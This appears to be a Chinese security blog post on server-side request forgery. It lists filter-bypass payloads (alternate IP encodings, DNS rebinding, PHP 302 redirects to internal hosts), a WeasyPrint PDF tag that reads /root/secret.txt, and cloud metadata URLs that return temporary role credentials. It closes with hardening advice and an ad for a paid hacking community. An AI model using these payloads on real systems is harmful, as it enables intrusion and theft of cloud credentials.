绕过限制请求IP不为内网地址
1、点分割符号替换:
在浏览器中可以使用不同的分割符号来代替域名中的.分割，可以使用。、｡、．来代替
例如：
127。0。0。1127｡0｡0｡1
2、xip.io:
10.10.10.10.xip.io 会被解析成10.10.10.10
3、数字IP地址:
127.0.0.1的十进制: 2130706433，HTTP访问: http://2130706433/
4、短网址：
https://www.985.so/
5、进制转换:
127.0.0.1的八进制: 0177.0.0.1，十六进制: 0x7f.0.0.1
6、封闲式字母数字(Enclosed Alphanumerics):
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
①②⑦. ⓪.⓪.①>>> 127.0.0.1
7、DNS重绑定:
一般进行 ssrf 防御的模式如下：
- 获取到输入的URL，从该URL中提取host
对该host进行DNS解析，获取到解析的IP
2. 访问规则判断该IP是否在指定范围内（即判断IP是否符合规则）
如果IP在范围内，即对此URL发起请求
如果IP不在范围内，则请求失败
然而访问规则在判段得到的IP为指定范围内IP，到服务端请求URL这个中间还存在一个细微的时间差，
DNS重绑定则是利用这一点，让服务器第一次解析host的ip为符合规则的公网IP，在第二次请求解析URL时host的ip又变为了不符合规则的内网IP，从而进行ssrf。
这里推荐使用burpsuite的intruder模块，来批量发送请求，以利用时间差完成ssrf。
在线DNS重绑定平台：https://lock.cmpxchg8b.com/rebinder.html
8、302重定向：
需要一个vps，把302转换的代码部署到vps上，然后去访问，就可跳转到内网中
服务端代码如下：
<?php
header(\"Location: http://192.168.1.10\");
exit();
?>
9、绕过localhost:
http://[::1]http://[::]:80/http://0:80
协议限制绕过:
如禁用了部分协议，尝试转换使用协议;
http(s)、file、dict、gopher、（sftp、ldap、tftp）
SSRF - 漏洞案例
导入/导出型ssrf（无回显）
漏洞原理：在导入/上传图片、数据等内容时时将图片链接换成dnslog链接，服务器则在请求资源时会访问dnslog链接
Vps 设置 302 跳转 访问内网
302.php
<?php
header(\"HTTP/1.1 302 found\");
header(\"Location:http://10.x.x.x:5001/index?host=dnslog.requestrepo.com\");
exit();
?>
POST /api/apimanage/trans/getThirdPartSwaggerJsonByAddr/ HTTP/1.1Host: apicloud.xxx.comCookie:xxx=xxx
{\"addr\":\"http://106.12.xx.xx/302.php\"}
HTML导出PDF下的ssrf（组件）
WeasyPrint是一个用于HTML和CSS的可视化渲染引擎，可以将HTML文档导出为打印标准的PDF文件。
WeasyPrint重新定义了一组html标签，包括img，embed，object等。根据我们之前的测试，我们已经知道javascript不是利用这一点的选项。在这一点上，我们的希望很低，我们开始认为PDF生成器不再可利用，直到我们发现对<链接>内部的几个文件的引用，包括pdf.py。这使我们能够通过使用 将任何网页或本地文件的内容附加到我们的 PDF 中。<link rel=attachment href=\"file:///root/secret.txt\">
特殊标签用法：在html标签前的双引号符号(”)，补充单引号（'），会被允许在PDF中解析
最终使用<iframe>遵循特殊标签用法处理插入后，成功外连，漏洞存在
进一步利用
使用file协议，获取敏感文件
<link rel=attachment href=\"file:///root/secret.txt\">
云上ssrf利用
云服务器一般会公开每个实例的内部服务(一般在帮助文档中都能查看)
如果发现云服务器中的 SSRF 漏洞，可以直接查询主机实例的元数据从⽽进⼀步深⼊利⽤。
腾讯云：
访问元数据http://metadata.tencentyun.com/latest/meta-data/ 获取 metadata 版本信息。
查询实例元数据。http://metadata.tencentyun.com/latest/meta-data/placement/region
获取实例物理所在地信息。http://metadata.tencentyun.com/latest/meta-data/local-ipv4
获取实例内⽹ IP。实例存在多张⽹卡时，返回 eth0 设备的⽹络地址。http://metadata.tencentyun.com/latest/meta-data/public-ipv4
获取实例公⽹ IP。http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id
实例⽹络接⼝ VPC ⽹络 ID。在获取到⻆⾊名称后，可以通过以下链接取⻆⾊的临时凭证，${role-name} 为 CAM ⻆⾊的名称：http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${rolename}
阿里云：
查看实例元数据的根目录http://100.100.100.200/latest/meta-data查看实例ID： http://100.100.100.200/latest/meta-data/instance-id访问RAM 角色的临时凭证：http://100.100.100.200/latest/meta-data/ram/security-credentials/获取AK SK信息http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role
具体云上ssrf漏洞案例可自行查看文章:
https://www.wangan.com/p/7fy784ff26339e4ehttps://hackerone.com/reports/341876http://www.myzaker.com/article/60c181bb8e9f0941bb67ffachttps://help.aliyun.com/document_detail/108460.html#section-w35-csp-imo
SSRF- 加固和防御
内网环境下ssrf
1.去除url中的特殊字符
2.将域名解析为IP，对内网IP进行限制
3.不跟随30x跳转（跟随跳转需要从1开始重新检测）
4.禁用高危协议，例如：gopher、dict、ftp、file等，只允许http/https
5.请求时设置host header为ip
6.统一错误信息，避免用户可以根据错误信息来判断远程服务器的端口状态。
云上ssrf
- 加固模式
加固模式下，实例基于token鉴权查看实例元数据，相比普通模式对SSRF攻击有更好的防范效果。 - 普通模式
限制用户RAM角色权限，只赋予自己所需要的权限，这样可以将影响程度降到最低。
（ 以下为阿里云官方文档中普通模式和加固模式的对比）
后台回复加群加入交流群
广告：cisp pte/pts &nisp1级2级低价报考
陌笙安全纷传圈子+陌笙src挖掘知识库+陌笙安全漏洞库+陌笙安全面试题库简单介绍（加入纷传圈子送知识库+漏洞库+面试题库）
如果觉得合适可以加入,圈子目前价格39.9元，价格只会根据圈子内容和圈子人数进行上调，不会下跌。。。
圈子福利
edu漏洞挖掘1v1指导出洞
陌笙src挖掘知识库介绍（内容持续更新中!!!)
信息收集(主域名信息收集,子域名信息收集等&会永久提供fofa-key助力)弱口令漏洞&未授权访问漏洞挖掘任意文件读取&删除&下载&上传漏洞sql注入漏洞url重定向漏洞csrf&ssrf漏洞挖掘XSS&XXE漏洞挖掘等等常见漏洞cors&目录遍历&越权漏洞挖掘EDUSRC(证书站挖掘案例分享&edusrc挖掘技巧分享)CNVD挖掘技巧分享&实战案例报告编写公益漏洞挖掘（公益src挖掘漏洞分享&提供补天1权重资产）SRC挖掘实战(针对各种常见功能总结的常见测试思路等快速提升)经典常见Nday漏洞(常见中间件&以及各种常见框架)复现云安全相关漏洞挖掘（云key扫盲&云存储桶&快速识别云环境&云攻防）AI相关学习（AI基础&AI代码审计实战测试&webLLM攻击等）APP&小程序漏洞挖掘等各模块不在一一介绍
信息收集
src挖掘基础
src挖掘实战
edusrc
经典nday复现
云安全&AI安全
陌笙安全漏洞库介绍
最新漏洞查看1day&0day分享EDU学校相关漏洞Web应用漏洞CMS漏洞OA产品漏洞中间件漏洞云安全漏洞人工智能漏洞其他漏洞
陌笙安全面试库
渗透测试基本问题一汇总渗透测试基本问题二汇总渗透测试基本问题三汇总微步护网面试题目长亭科技面试深信服护网面试启明星辰渗透测试面试题目安恒面试题目绿盟笔试题目360面试奇安信护网面试运维面试题目运维面试题库网安面试相关文档大全相关面试文章推荐等等
POC库&&更新适配afrog&&nuclei&&dddd的POC&1day/Nday等&&*dddd二开*工具[助力渗透测试&&红蓝攻防]
工具截图
实战效果
poc库【后续持续更新】
AI赋能-skill辅助漏洞挖掘（免责&&慎用）
陌笙纷传圈子介绍
1、src挖掘思维导图，信息收集思维导图，edusrc挖掘思维导图，以及后续的红队&面试思维导图&自己网安笔记等持续更新2、2025-2026的edusrc实战报告包含证书站和非证书站以及2025之前的各种优质报思路分享3、各种src报告思路分享（内部&外部）4、分享各种src挖掘&edusrc挖掘培训资料&视频5、不定期分享通杀、0day6、有圈子群可以技术交流以及不定期抽取证书&免费rank7.分享各种护网资料各家安全厂商讲解视频&精选实战面试题目8、各种框架漏洞技巧分享9、各种源码分享（泛微、正方系统、用友等）10、漏洞挖掘工具&信息收集工具&内网渗透免杀等网安工具分享11、各种ctf资料以及题目分享12、cnvd挖掘技巧&CNVD资产&src资产分享&补天1权重资产分享&fofakey共用13、免杀、逆向、红队攻内网防渗透等课程分享14、漏洞库&字典以各种内容不在一一说明15、cisp-pte/pts&nisp一级&nisp二级&edusrc证书内部价格15、如果有漏洞挖掘问题或者工具资料需求可以找群主(尽量满足)
目前740多条内容，扫描下方二维码查看详情以及加入圈子，持续更新中。。
如果觉得合适可以加入，价格不定期会根据圈子内容和圈子人数进行上调。。
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论